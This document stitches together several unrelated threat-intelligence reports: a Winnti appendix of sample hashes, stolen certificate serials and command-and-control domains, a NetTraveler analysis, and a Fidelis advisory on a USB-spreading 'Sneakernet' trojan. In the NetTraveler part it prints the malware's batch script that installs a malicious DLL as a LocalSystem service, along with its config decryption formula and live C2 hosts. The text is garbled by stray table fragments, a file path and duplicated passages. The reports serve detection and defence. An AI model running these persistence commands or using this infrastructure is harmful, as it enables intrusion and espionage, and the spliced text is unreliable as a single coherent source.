Winnti More than just a game Appendix Winnti MD5s: Winnti 1.0 Win32 samples 006c4561499da562a4e337e2c146cf1a 024CC9872D9F413292D0F952920547CA 0613d67070679fb97ddefc5973c4d604 0630a443bd0102647ca1707cdf7f8c35 0751ca6f8b652cae6f2b650f0cf9036a 095a6a3b6eba996d2786b5ec919b1a7e 0af3761919bffa0019e7899333846b27 0f3c15de074f934499f5bbc095d5557f 11ed89f0ab17cf3973e2bf970879661a 128cb2a5de0d0422d69bab6d23ebb0aa 17c72e0cde2e4019a6b885f8188ac410 18813863417608b4ad14babebcafcb57 1a5da850993681e685893547d1aa2eaf 1ab7360a9438fb816f01ac00c17c9da4 1d688ca3148df378a15796f43242b77c 2128b6c7ec7848b73aeb6f211cef7615 296220a85742a8722b1335977dd98251 379251974ebcd5c397f92ca45bb9620d 38fb6993c3c94ea6df01235f44be4e77 3c722f0bea82e5bb8958f7fab012c911 3ecbc145dd593ec431145dd84e1e50cb 4038fb208d4b50e1f5f765811fdac174 41ff77ea7d4960c75d272a6a6fc31e7c 4402db68df6682bfe3e1e855a2474444 4722c665196fb6c7450980eafde6ac86 4e8f1c053dbe449c93f04e11d4afa352 4f213f9f187a65ce437157a3e7d253c0 50635147a579a8c8859a49c609f9d3d2 50678adefc49735a4f236e06e83c089d 5156bc9f1dd8ef1c1055933bb9c89c91 516fe9d2fe8b047fa8ba993692f44482 5171b030750f364a3459d5de22bc875d 5a93c03ddfe3edeb2573b72d12ebe0e5 5db7ba6e771cef48c623ae48fbb4740b 629c0a9d3d0f471005c87d06aed45113 64d225a757686db6263e5df919e9dfd6 6db0e662dad6407f666aa0ea4b995e7f 7460f35e3b24db9b92bc4cccb6c3f3ac 7529e41a101170eadb83bcb77bf29e65 814001293e4a50d12cf55563e0b95ffe 81b27822a6619a7c78eebbd6dc4b889d 9251ff253c38c437bad4926378981ad0 9a575f37ffa684d56d1f5ffebc24b8f3 Winnti More than just a game a2c3fa86d43eca498c2b6ee8b5ecafb1 a62afe6d59ae1ac32e8afbb88345ba03 a91f69fc4b353d4228990464ca791705 ada3fb277229d6a12df364fd856f00c3 b01145e9d0c0f9d2822a250df95d888e b28a68036b34e5d74672b289591aefa4 babd625bb2284d58a9c1884a80f07bdd bb79348412e72e77a8254fc289244829 bc3ffe2761d210fa05dde9ced4ed4869 be8b2bf704a1165d5b8b4e26fff4180c c050c1ca31e8509f7b12824824ba2ddd c181065a366ea6f8c6791fd87fcb86d6 c248c15622cfb0985fb421c29771d6ae c2ac3d2f0299633e2c588d2fa43d0d63 c2c2eb5f0762db8068bd4031bd6b59bc c35180bd2138fd81469805d8eb3480bf ca69ffc76e74e9d17f26f5f5b20a1db7 d202ca2b2e04b2b730c43e5a13927096 d8e289fba6a22cb853d737676ab1545d e0df537f91f3bc3713a5ec5cf41f9e2d e2e314cbdcf493bcd14cea9cdd887786 e464e0d0893add9d71bb951502ae738a e58c7b9b2576c63ac60743a99310664b eda0eb9e5c08729f12ddb64f6ec7ae2f f06ec81a1f416812ffcc47fd5f709b50 f39fda34f2e332ddb1363f5e0e541c26 faa77eacaa7de27b0f04c3139066d73c 01f1204f54c645a13368e1ba54179779 099116c83c9b95ea71e75e1760fced28 2ad67673a4facf2b493ca5989839d8e3 2ec43703cc80323ae32fed751bedfff1 4a02ce3d6c6696ddda2a673298870e16 4b8fd1ee47f17164e61194f6b2dbfa40 508f0af84d83e093bf6910dbab45421f 5c865404f27f5e5b83b6fcfd94068118 8a0a00b1676c3b65b3c56dab7f8feb99 91ae694e565f4a2f52d5f792d8353fcd 95DF76F2ABDB9B133003D4DB637DC67B be594ee2a7e4b11878de020cf724205f ce3f94fea7f57ce5a9a5a26e51b617fb d07f8aa768f7886400bb725c23fd2421 d9792b5f7bf497a3584d0c0d388f6b16 efdda5d0a14810ff86e60a70c5baa6b0 f975d016b83880c898b334714c1291b0 fc293476226d1471c8de65ab65af7b2f Win64 samples 24c846e935d1efdd090469a69e01da65 604c8b4f2f82e016cff74ebc4a359e34 Winnti More than just a game 624db864fe644bc08c16cdbdb8f4bdfb 677c3236b3acac70f528de8b4cf62539 6e83c0e6739a2782ce385632f5e982c3 6e927175a6224add534a6072bc6a6170 7ea57ad96cee3db9baf5a36b43ba9abc 92fd35efabf8d774cf5bb4c2be8b733c 9642c7ee5819f5f8f3f8354da0845190 a00c66d502453524a7fe411ce7bbfea4 b062063cf2d5b7fcc4abd8390e4f0090 c9e55d71b7d8f05324c3ad041a943103 c9e9b8103077d9a9bb21e563f14ef738 ce3eecc1cc27e753b3eeae50074c3edd d194316fc5a7f7b433d26ed9da09b249 de1ea8d6c20d8ecdd1c29219e30d4984 e5338b89c4721482df24f9aa5a3c6389 ec6d53e1a030e166acbc6f357362c195 66de2aaad67446aabbe5adeb873b4b24 8505e92a2c3812ec298acd6bb20437a2 9f5b4f39699fda67ffa65f98086f7451 B8F03B556AE4255BA8D828B6D9909B08 efb16a33a0c9da12a71ef44e7d688233 Drivers 5ce790274b7507740e9983d2efe69c17 679ba94211a4e027c2b56b959e62c8e3 6b4ab6ca6808e955a6fd11ae5ffea1f6 6f5a10edc2c7319b8d7abc0a606e5ce6 ca04aa367e6f090903018131245296ce e8e1f133ef1a303e2e901e59329af1dd 4591d01a291b700efbc5b263c67a266c Winnti 1.1 Win32 samples 1014374a0b4972adec93a015df6e4558 582f84b21978cab7d190aef663a268ea 2d0950f69e206486c5272f2b0fc3aa22 a374be9091ed1791424fc236144e9d81 e867dba9d96acae55552777a8729a45a f809eea8170afacd2dfe2c45ba86861e Drivers 07a18ad4d859c67f208ccb76a7e6a184 0996b71f1364acde317881810c5912f0 97f64270b59b0f6b83ec93efc41543fd Winnti More than just a game Droppers 509c562db69f8332b9fc3298236e8ffa 130a799edeb0753164cdb76ccf8fd64c 5654424ea88de69d5c6031f7009f0428 Winnti 1.2 Samples 0393eebedbde6e5ee868f81ac024b401 36711896cfeb67f599305b590f195aec 43da75e7f8e7e1893dce276bd5b2e680 535ede2d69a7e07a097ef6648b12e417 8acb42de94427141f7caffed74f9fc43 a0a96138b57ee24eed31b652ddf60d4e d350ae5dc15bcc18fde382b84f4bb3d0 e252d9ec48bca3d261f5acdd33bfd1cb f454ba447eef28f96dafe3398df82a7e 011815cb37f49a1d14d3db895a5e705f 115dc2627483aba7119ad4ceab1e042a 18677c3a2af1476aa8cbc73cfb74d8c1 1b0753f717d7a33defc389e399b20d57 29525be71ba4846739e553a0835ab460 2989b78ac3a752bf6792ac9ac606fdf0 2ffc739a927b62d4b7096e636951b77d 3047ed57acac30c2327e74070b3864b7 3d107d5bdf554c6ae8d05c886080a18d 4197499923ab6125e2ee5e950b21ec91 453021b8cc10f9077fa80d60d09c631d 4732d2056060c66f46caded82954836e 4d028c7a47c1b0d00e894ad351a61996 6e9b47f2ae1f9e7260b8793f35fbbd3a 8a1d1965b2d8501e692394bb801f58ca a0629962c34ed9594b18493f459560a7 ada515709be09e495bc9c1206069e796 bfcd3417b513a6c3fed4b5466055d939 Droppers 60bd5a9ab78f6c614b824ddcb47dfd7c 8f54cf08ee45a8d5eb31d05dbab4b561 15d6249e0e7e03b3e00cc3917431cf64 4fbb502ba8c7e8d81ec98a5974b9001a 5618bc41af50c790c8e8680ba30030ed 7d51ea0230d4692eeedc2d5a4cd66d2d 961954bbc411d4eafd72efad94a6e160 c206992f7c6836ec6a227a6e29ae7609 Winnti More than just a game Winnti 2.0 Samples 06d8b1468f09d10aa5c4b115544ccc6e 0cd07490fc02e2a602781bb939d0bc3d 2d0950f69e206486c5272f2b0fc3aa22 3358c54a22d186ec9de0f15bc4bb2698 35bdc5a2acf35bdf9fb9169e1a47d3e7 5778178a1b259c3127b678a49cd23e53 6dfcdc4c8edc77642f15592143f34569 9a83cd3f8e619c8b1b38b0b5ceeea357 afe4ec9a88f84fbf9c1eb0f3ff47a12b B0BD6C215A7C20B23FD23D77FA26F3BA bbbb9bb5c7a59b98f18b06344ac8980f d23237edbdcc4118b538454b45c00021 d4a2060a5086c56f7ff65eaa65de81ff dc22d742a15f8d6d8edf49d1c8cc8be9 e7e5c5c991e6d66fca16c988c891e10f f4c9bc4f045b90c496df4b75398dfa5c Drivers 04f3fbaaaf5026df29e0d7d317194043 07e40089cdf338e8d1423b3d97332a4d 0b105cd6ecdfe5724c7db52135aa47ef 7024ea8285cee098829ac8f2b1de4455 Compromised certificates Company Serial number ESTsoft Corp 30 d3 fe 26 59 1d 8e ac 8c 30 66 7a c4 99 9b d7 Kog Co., Ltd. 66 e3 f0 b4 45 9f 15 ac 7f 2a 2b 44 99 0d d7 09 LivePlex Corp 1c aa 0d 0d ad f3 2a 24 04 a7 51 95 ae 47 82 0a MGAME Corp 4e eb 08 05 55 f1 ab f7 09 bb a9 ca e3 2f 13 cd Rosso Index KK 01 00 00 00 00 01 29 7d ba 69 dd Sesisoft 61 3e 2f a1 4e 32 3c 69 ee 3e 72 0c 27 af e4 ce Wemade 61 00 39 d6 34 9e e5 31 e4 ca a3 a6 5d 10 0c 7d YNK Japan 67 24 34 0d db c7 25 2f 7f b7 14 b8 12 a5 c0 4d Guangzhou YuanLuo 0b 72 79 06 8b eb 15 ff e8 06 0d 2c 56 15 3c 35 Fantasy Technology Corp 75 82 f3 34 85 aa 26 4d e0 3b 2b df 74 e0 bf 32 Neowiz 5c 2f 97 a3 1a bc 32 b0 8c ac 01 00 59 8f 32 f6 Winnti More than just a game Winnti CCs Winnti 1.0 newpic.dyndns.tv update.ddns.net nd.jcrsoft.com cc.nexoncorp.us 98.126.36.202 kr.zzsoft.info as.cjinternet.us ca.zzsoft.info sn.jcrsoft.com lp.apanku.com sshd.8866.org ftpd.6600.org tcpiah.googleclick.net rss.6600.org lp.zzsoft.info lp.gasoft.us eya.jcrsoft.com ftpd.9966.org kr.xxoo.co wi.gcgame.info tcp.nhntech.com ka.jcrsoft.com my.zzsoft.info jp.jcrsoft.com su.cjinternet.us vn.gcgame.info ap.nhntech.com ru.gcgame.info kr.jcrsoft.com wm.ibm-support.net fs.nhntech.com docs.nhnclass.com rh.jcrsoft.com wm.nhntech.com wm.myxxoo.com ka.zzsoft.info ad.jcrsoft.com my.gasoft.us Winnti More than just a game Winnti, all, unsorted gunz.gcgame.info dell-support.org t3.jcrsoft.com kr.hja63.com dbo.gcgame.info 2m.reegame.net ns1.msftncsl.com update.reegame.net pop.hja63.com imap.gasoft.us dns.naverpulic.com pda.zzsoft.info pop.cjinternet.us bar.gasoft.us hja63.com god.zzsoft.info goqc.xxoo.co apps.mynetav.net ns3.nhnclass.com tug.mynetav.net vip-webmail.com mail.7niu.com game.joymax.in tho.hja63.com zb.mynetav.net vtc.gasoft.us tv3.mynetav.net hk.hja63.com ad.gasoft.us ns5.msftncsl.com ftp.zzsoft.info sm.gcgame.info eudb.reegame.net tech.ibm-support.net gm.gcgame.info winlogon.net iyy.conimes.com ru.gcgame.info oa.nexoncorp.us cjinternet.us wm.ibm-support.net hp-supports.com pass1.hangame.co.uk mail.cjinternet.us tt.xxoo.co e.jcrsoft.com gamenow.8800.org googlefiles.net ns4.msftncsl.com Winnti More than just a game gf.jcrsoft.com sg.xxoo.co ns3.nhnclub.com wog.zzsoft.info ssl.msftncsl.com ns7.msftncsl.com udp.nhntech.com ad.jcrsoft.com ns6.msftncsl.com ibm-support.net gh.zzsoft.info kerberos.dnsalias.com ns1.nhnclub.com imap.zzsoft.info gongyi.co jcrsoft.com uni.vip-webmail.com smtp.jcrsoft.com cc.nexoncorp.us imm.conimes.com mail.hja63.com pass2.googletrait.com club.cjinternet.us mail.nexoncorp.us as.cjinternet.us service.dell-support.org service.googlefiles.net ftp.nexoncorp.us e.gcgame.info hansoft.sunsb.net www.jcrsoft.com ftpd.6600.org sshd.8866.org cpu.4pu.com nx2.joymax.in av.gcgame.info dl-adobe.com cj.jcrsoft.com ro.myxxoo.com rh.gcgame.info cc.xxoo.co swordwind.net lp.xxoo.co brqc.xxoo.co ava.apanku.com wi.gcgame.info zm.gasoft.us as.xxoo.co gh.gasoft.us baesystems.conimes.com ns2.nhnclub.com Winnti More than just a game intercpu.com e.hja63.com pda.gasoft.us wsafelogin.com mail.nexongame.net smtp.cjinternet.us wm.nhntech.com www.gcgame.info ix.xxoo.co support.dell-support.org han.zzsoft.info imap.hja63.com nhntech.com qc.xxoo.co ip.xxoo.co sl.myxxoo.com mail.joymax.in help.googleclick.net www.nexoncorp.us conimes.com usa.xxoo.co my.reegame.net login.joymax.in hsb.mynetav.net docs.naverpulic.com fax.nexoncorp.us mail.jcrsoft.com guys.mynetav.net google.x3322.org jc.nhntech.com roqc.xxoo.co ws.gcgame.info xss.gongyi.co new.java-ssl.com ava.zzsoft.info eya.jcrsoft.com gn.xxoo.co crl.nhntech.com tah.xxoo.co dns.nhnclass.com zzsoft.info nx.xxoo.co ns2.naverpulic.com pop.zzsoft.info on.xxoo.co pwd.nhntech.com ftp.gcgame.info nx2.hangame.co.uk he.xxoo.co hk.zzsoft.info nhnclass.com Winnti More than just a game nexoncorp.us w.gasoft.us kr-mail.com ns1.nhnclass.com smtp.nexoncorp.us xv.apanku.com imap.nexoncorp.us stmp.msftncsl.com nx3.hangame.co.uk msftncsl.com soft.hja63.com bcc.hja63.com wm.myxxoo.com ns3.msftncsl.com us.msftncsl.com dns--google.com t3.myxxoo.com au.msftncsl.com support.nexononline.com sg.java-ssl.com l53.xxoo.co udp.myxxoo.com q.gasoft.us nx2.interdriver.net a.gcgame.info mg.zzsoft.info jp.xxoo.co ros.zzsoft.info x64.reegame.net versiontt.no-ip.org imap.cjinternet.us rf.gcgame.info ca.zzsoft.info pda.hja63.com tw.java-ssl.com java-ssl.com sn.jcrsoft.com service.interdriver.net db.nexongame.net id.java-ssl.com perl.mynetav.net osk.jcrsoft.com mini.googletrait.com mail.gcgame.info nc.feelids.com tcpiah.googleclick.net googleclick.net pop.hangame.co.uk www.gasoft.us nxeu.jcrsoft.com eya.zzsoft.info Winnti More than just a game sellsads.sells-it.net wapqq.3322.org kr.reegame.net nt.nexoncorp.us tcp.nhntech.com www.hja63.com aion.reegame.net su.cjinternet.us get.java-ssl.com eudb.nexongame.net nsqc.xxoo.co mail.gasoft.us kr.jcrsoft.com ads01.mynetav.net gm.gasoft.us a1.reegame.net smtp.gcgame.info pda.jcrsoft.com kor.xxoo.co ns9.msftncsl.com nx.jcrsoft.com nexon.hangame.co.uk smtp.gasoft.us ns2.java-ssl.com alta.apanku.com nexon.joymax.in my.gasoft.us dns2.msftncsl.com ckts.mynetav.net pass1.googletrait.com dns.nhnclub.com kr.zzsoft.info mir.reegame.net jrun.hja63.com wm.googleclick.net bot.dongevil.info mail.zzsoft.info nexononline.com tv.mynetav.net e.gasoft.us xy.hja63.com www.apanku.com usa.nexongame.net ftp.gasoft.us ogp.reegame.net kog.jcrsoft.com www.joymax.in br.xxoo.co ftp.cjinternet.us qc.zzsoft.info pay.gcgame.info Winnti More than just a game hangame.co.uk test.reegame.net gs.xxoo.co xx.hja63.com ap.myxxoo.com cg.apanku.com ns1.naverpulic.com ree.reegame.net jp.jcrsoft.com interdriver.net ns1.java-ssl.com www.googletrait.com www.zzsoft.info qs.nexongame.net nx3.joymax.in a1.nexongame.net wi.zzsoft.info mx.hja63.com ga.nhntech.com nx.cjinternet.us ftp.jcrsoft.com fm.hja63.com lftv.mynetav.net e.zzsoft.info udp.ibm-support.net nx3.intercpu.com wh.jcrsoft.com zz.xxoo.co shoes.sellClassics.com ar.apanku.com ka.zzsoft.info jjevil.com nexongame.net est.gcgame.info imc.zzsoft.info newpic.dyndns.tv mini.reegame.net update.ddns.net js.nexoncorp.us nd.jcrsoft.com ed.xxoo.co also.msftncsl.com support.interdriver.net ru.cjinternet.us smtp.zzsoft.info pda.gcgame.info th.xxoo.co nhnclub.com www.cjinternet.us ssh.joymax.in tvads01.dyndns.tv Winnti More than just a game pp.ibm-support.net blog.mynetav.net ijj.conimes.com tank.hja63.com lp.gasoft.us nx3.googlefiles.net pass1.nexongame.net gcqc.xxoo.co br.reegame.net ftpd.9966.org kr.xxoo.co offices.dyndns-office.com hansoft.does-it.net gasoft.us docs.nhnclub.com sf.cjinternet.us pass2.nexongame.net updata-microsoft.com ka.jcrsoft.com us.xxoo.co myav.mynetav.net w53.myxxoo.com isatap.dyndns.org tt.conimes.com vn.gcgame.info ap.nhntech.com bot.jgame.in l.xxoo.co ftp.hja63.com mail.msftncsl.com dns01.dyndns-work.com service.hp-supports.com ns2.nhnclass.com fax.cjinternet.us nx2.intercpu.com windows.doomdns.com btg.mynetav.net xxoo.co mynetav.net mini.msftncsl.com pass2.hangame.co.uk webadmin.dnsdojo.net imap.gcgame.info joymax.in udp.jjevil.com www.reegame.net myxxoo.com iss.conimes.com ads01.dyndns-web.com www.mynetav.net dns.msftncsl.com Winnti More than just a game pop.jcrsoft.com ball.reegame.net lyto.zzsoft.info rw.nhntech.com els.jcrsoft.com a1.googletrait.com googletrait.com w80.xxoo.co scvhosts.com nexon.nexongame.net pic.4pu.com q.gcgame.info dbo.jcrsoft.com ns2.msftncsl.com ynk.xxoo.co tw.hja63.com pass1.reegame.net my.zzsoft.info www2.mynetav.net www.nexongame.net id.naverpulic.com roap.myxxoo.com openhost.webhop.net mir2.nexongame.net imap.jcrsoft.com pop.gasoft.us bar.zzsoft.info game.nexongame.net fs.nhntech.com osk.zzsoft.info docs.nhnclass.com t3.nhntech.com ahn.gasoft.us officess.dyndns-office.com new.nexoncorp.us dbo.zzsoft.info w.zzsoft.info lp.gcgame.info ro.hja63.com gcgame.info xl.apanku.com web-games.us sl.xxoo.co login.hangame.co.uk ro.xxoo.co dbo.gasoft.us moon.reegame.net egi.mynetav.net vn.jcrsoft.com ftp.mynetav.net us.nhntech.com Winnti More than just a game masternow.webhop.net file.googlefiles.net holleword.3322.org est.zzsoft.info apanku.com help.ibm-support.net tw.reegame.net est.gasoft.us mg.jcrsoft.com lp.apanku.com smtp.hja63.com xnews.myPicture.info lp.zzsoft.info nx3.interdriver.net rss.6600.org fn.hja63.com usp.xxoo.co ads01.dyndns-pics.com oky.mynetav.net pop.nexoncorp.us naverpulic.com pop.gcgame.info ap.googleclick.net haj.mynetav.net ac.xxoo.co mini.nexongame.net udp.googleclick.net nd.xxoo.co new.myxxoo.com rh.jcrsoft.com wm.xxoo.co dns.java-ssl.com wyqc.xxoo.co q.zzsoft.info pass1.joymax.in item.
ItemDB.com reegame.net mailes.dyndns-mail.com nd.gasoft.us a.zzsoft.info w53.xxoo.co
NetTraveler APT Gets a Makeover for 10th Birthday We have written about NetTraveler before HERE and HERE.
Earlier this year, we observed an uptick in the number of attacks against Uyghur and Tibetan supporters using an updated version of the NetTraveler backdoor.
Heres an example of a targeted spear-phishing e-mail directed at Uyghur activists in March 2014.
The e-mail has two attachments, a non-malicious JPG file and a 373 KB Microsoft Word .DOC file.
File name Sabiq sot xadimi gulnar abletning qeyin-Qistaqta olgenliki ashkarilanmaqta.doc MD5 b2385963d3afece16bd7478b4cf290ce Size 381,667 bytes The .DOC file, which in reality is a Single File Web Page container, also known as Web archive file, appears to have been created on a system using Microsoft Office - Simplified Chinese.
It contains an exploit for the CVE-2012-0158 vulnerability, detected by Kaspersky Lab products as http://securelist.com/blog/incidents/57455/nettraveler-is-back-the-red-star-apt-returns-with-new-tricks/ http://securelist.com/blog/research/35936/nettraveler-is-running-red-star-apt-attacks-compromise-high-profile-victims/ Exploit.MSWord.CVE-2012-0158.db.
If run on a vulnerable version of Microsoft Office, it drops the main module as net.exe (detected by Kaspersky Lab products as Trojan-Dropper.
Win32.Agent.lifr), which in turn installs a number of other files.
The main CC module is dumped into SystemRoot\system32\Windowsupdataney.dll, (detected by Kaspersky as Trojan- Spy.
Win32.TravNet.qfr).
Name WINDOWSUPDATANEY.DLL MD5 c13c79ad874215cfec8d318468e3d116 Size 37,888 bytes It is registered as a service (named Windowsupdata) through a Windows Batch file named DOT.BAT (detected by Kaspersky Lab products as Trojan.
BAT.Tiny.b): echo off reg add HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Win dows NT\CurrentVersion\Svcho st /v Windowsupdata /t REG_MULTI_SZ /d Windowsupdata /f reg add HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe t\Services\Windowsupdat a /v ImagePath /t REG_EXPAND_SZ /d SystemRoot\System32 \svchost.exe -k Windowsupdata /f reg add HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe t\Services\Windowsupdat a /v DisplayName /t REG_SZ /d Windowsupdata /f reg add HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe t\Services\Windowsupdat a /v ObjectName /t REG_SZ /d LocalSystem /f reg add HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe t\Services\Windowsupdat a /v ErrorControl /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe t\Services\Windowsupdat a /v Start /t REG_DWORD /d 2 /f reg add HKEY_LOCAL_MACHINE\ echo off reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost /v Windowsupdata /t REG_MULTI_SZ /d Windowsupdata /f reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata /v ImagePath /t REG_EXPAND_SZ /d SystemRoot\System32\svchost.exe -k Windowsupdata /f reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata /v DisplayName /t REG_SZ /d Windowsupdata /f reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata /v ObjectName /t REG_SZ /d LocalSystem /f reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata /v ErrorControl /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata /v Start /t REG_DWORD /d 2 /f reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata\Parameters /v ServiceDll /t REG_EXPAND_SZ /d SystemRoot\system32\Windowsupdataney.dll /f To make sure the malware isnt running multiple times, it uses the mutex SD_2013 Is Running to mark its presence in the system.
Other known mutexes used by older and current variants include: Boat-12 Is Running DocHunter2012 Is Running Hunter-2012 Is Running NT-2012 Is Running NetTravler Is Running NetTravler2012 Is Running SH-2011 Is Running ShengHai Is Running SD2013 is Running The malware configuration file is written to the SYSTEM folder (as opposed to SYSTEM32) and has a slightly new format compared to older NetTraveler samples: For the record, heres what an older NetTraveler config file looks like: Obviously, the developers behind NetTraveler have taken steps to try to hide the malwares configuration.
Luckily, the encryption is relatively simple to break.
The algorithm is as follows: for (i0istring_sizei) decrypted[i]encrypted[i] - (i 0xa) Once decrypted, the new config looks like this: One can easily see the command-and-control (CC) server in the screenshot above, which is uyghurinfo[.
]com.
We identified several samples using this new encryption scheme.
A list of all the extracted CC servers can be found below: CC server IP IP location Registrar ssdcru[.
]com 103.30.7.77 Hong Kong, Albert Heng, Trillion Company SHANGHAI MEICHENG TECHNOLOGY uygurinfo[.
]com 216.83.32.29 United States, Los Angeles, Integen Inc TODAYNIC.COM INC.
samedone[.
]com 122.10.17.130 Hong Kong, Kowloon, Hongkong Dingfengxinhui Bgp Datacenter SHANGHAI MEICHENG TECHNOLOGY gobackto[.
]net 103.1.42.1 Hong Kong, Sun Network (hong Kong) Limited SHANGHAI MEICHENG TECHNOLOGY worksware[.
|
131
|
]net N/A N/A SHANGHAI MEICHENG TECHNOLOGY jojomic[.
| 29,731
| 29,793
| 63
|
data/reports_final/0131.txt
|
]net N/A N/A SHANGHAI MEICHENG TECHNOLOGY jojomic[.
]com was 202.146.219.14 Hong Kong, Sun Network (hong Kong) Limited SHANGHAI MEICHENG TECHNOLOGY angellost[.
]net was 103.17.117.201 hong kong hung tai international holdings SHANGHAI MEICHENG TECHNOLOGY husden[.
]com was 103.30.7.76 hong kong hung tai international holdings SHANGHAI MEICHENG TECHNOLOGY We recommend blocking all these hosts in your firewall.
Conclusion This year, the actors behind NetTraveler celebrate 10 years of activity.
Although the earliest samples we have seen appear to have been compiled in 2005, there are certain indicators that point to 2004 as the year when their activity started.
For 10 years NetTraveler has been targeting various sectors, with a focus on diplomatic, government and military targets.
https://securelist.com/files/2014/08/NetTraveler_5.jpg NetTraveler victims by industry Most recently, the main focus of interest for cyber-espionage activities revolved around space exploration, nano-technology, energy production, nuclear power, lasers, medicine and communications.
The targeting of Uyghur and Tibetan activists remains a standard component of their activities and we can assume it will stay this way, perhaps for another 10 years.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Users are granted permission to copy and/or distribute this document in its original electronic form and print copies for personal use.
This document cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written approval of General Dynamics Fidelis Cybersecurity Solutions Inc.
While we have done our best to ensure that the material found in this document is accurate, General Dynamics Fidelis Cybersecurity Solutions makes no guarantee that the information contained herein is error free.
Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow Up 1 Threat Advisory 1011 Page 1 of 11 Intruder File Report- Sneakernet Trojan Follow-Up 1 Fidelis Threat Advisory 1011 Intruder File Report- Sneakernet Trojan January 31, 2014 Document Status: FINAL Last Revised: 2014-01-31 Executive Summary Previous General Dynamics Fidelis Cybersecurity Services (Fidelis) reporting, ref: Fidelis Threat Advisory (FTA) 1011 dated 15 Jan 2014, introduced a malware system comprised of multiple files that provided a means for intruders to discover and retrieve data from disparate computer systems via removable storage devices.
The malware system consists of at least two Portable Executable (PE) files, one acting as a headquarters component and one acting as field unit or agent component.
The headquarters component infects drives connected to its host system with the field unit component and retrieves data from the field unit on the infected drives return to the headquarters host system.
The field unit conducts reconnaissance and data collection in accordance with particular commands.
Continuing analysis solidified the headquarters components Command and Control (C2) scheme.
The malware receives commands from a locally stored encrypted file.
This report describes select malware functionality with some granularity, provides extended detail regarding the headquarters components C2 functionality, provides additional means of defensive detection of this malware and describes some interesting aspects of the malware as a whole.
The Fidelis team updated Fidelis XPSTM advanced threat defense system with additional rules to reflect current analysis findings associated with this malware.
Forensic Analysis Findings Basic Functionality Previous reporting, ref: Fidelis Threat Advisory (FTA) 1011 dated 15 Jan 2014, introduced a malware system comprised of multiple files that reflected a means for intruders to discover and retrieve data from disparate computer systems via removable storage devices.
Analysis of the system relied on the availability of two files named netsat.exe and netui3.dll.
Netsat.exe functioned as a master application affording intruders the ability, in a selective and controlled manner, to infest removable devices with an agent application in the form of netui3.dll, aka www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 2 of 11 Intruder File Report: Sneakernet Trojan setup35.exe, aka update.exe.
Previous reporting likened netsat.exe as a headquarters application and netui3.dll as a field unit with the following basic functionality: Headquarters (netsat.exe) Running on a possibly compromised system Logging some activity and errors to a file Receiving commands via an encrypted file on the local system (possible C2) Listening for drive connections Infecting connected drives with netui3.dll/winmgt.dll (setup35.exe Autorun.inf) Collecting data gathered by any infected drives, ostensibly upon their return from being connected to other systems Field Unit (netui3.dll) Collecting information about systems it comes into contact with through connection to the targeted systems with the drive whereon the malware resides Collecting file listings from local and share connected drives Discovering and connecting to shared drives visible to the local targeted system Copying and writing files to/from drives visible to the local targeted system The following graphic serves to illustrate a possible basic theory of operation given available data: www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 3 of 11 Intruder File Report: Sneakernet Trojan Field Unit (netui3.dll/setup35.exe/update.exe) Functionality File Name: netui3.dll File Size: 39424 bytes MD5: 68aed7b1f171b928913780d5b21f7617 Continued analysis disclosed details regarding the field unit/agent application.
The following reflects observations during field unit execution from an infected external drive: The malware attempts to ensure errors are suppressed and not observed by a user The malware performs specific environment checking to adapt to Windows versions from at least Windows 2000 to Windows7/Server 2008 and up The malware terminates if it detects another iteration of itself via the Mutex Mtx_Sp_on_PC_1_2_8 The malware terminates if any Gateway IPs associated with the resident system are in the 10.x.x.x range The malware copies itself to CSIDL_LOCAL_APPDATA\Microsoft\Windows\Help\update.exe The malware runs update.exe with the parameters -wu external drive letter, e.g., z:, with the temporary directory specified for the working directory The malware copies a file named disk.ini from the infected drive to CSIDL_LOCAL_APPDATA\Microsoft\Windows\Help\intr The malware checks the system date against 31 May 2013 if on or after, the malware terminates The malware copies CSIDL_LOCAL_APPDATA\Microsoft\Windows\Help\intr to CSIDL_LOCAL_APPDATA\Microsoft\Windows\Chars\intr Headquarters (netsat.exe) Functionality C2 Mechanism File Name: netsat.exe File Size: 43520 bytes MD5: eb8399483b55f416e48a320d68597d72 Previous analysis results indicated netsat.exe retrieved commands from an encrypted file named netwn.drv resident in the CSIDL_WINDOWS\msagent\ directory.
The encryption was a Tiny Encryption Algorithm (TEA) implementation that used a key that was modified during encryption and decryption operations.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
